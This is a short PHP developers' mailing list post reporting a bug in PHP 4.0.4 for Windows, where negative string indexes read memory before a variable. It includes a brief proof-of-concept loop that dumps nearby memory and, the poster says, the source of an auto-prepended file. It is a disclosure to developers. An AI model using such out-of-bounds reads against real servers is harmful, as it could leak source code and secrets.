[PHP-DEV] Reading memory "before" a variable

[M�rten Gustafsson]

Using PHP 4.0.4 for Windows it is possible to access memory "before" a
variable using a negative index on a string variable.

Executing the snippet below outputs a lot of trash but alos the entire
source code of a file that is auto prepended.


<?php
$str = '';
$hello = 'Hello';
for($i = 0; $i > -10000; $i--)
{
        $str .= $hello[$i];
}
echo strrev($str);
?>


-Mårten.
Icq# 38863127


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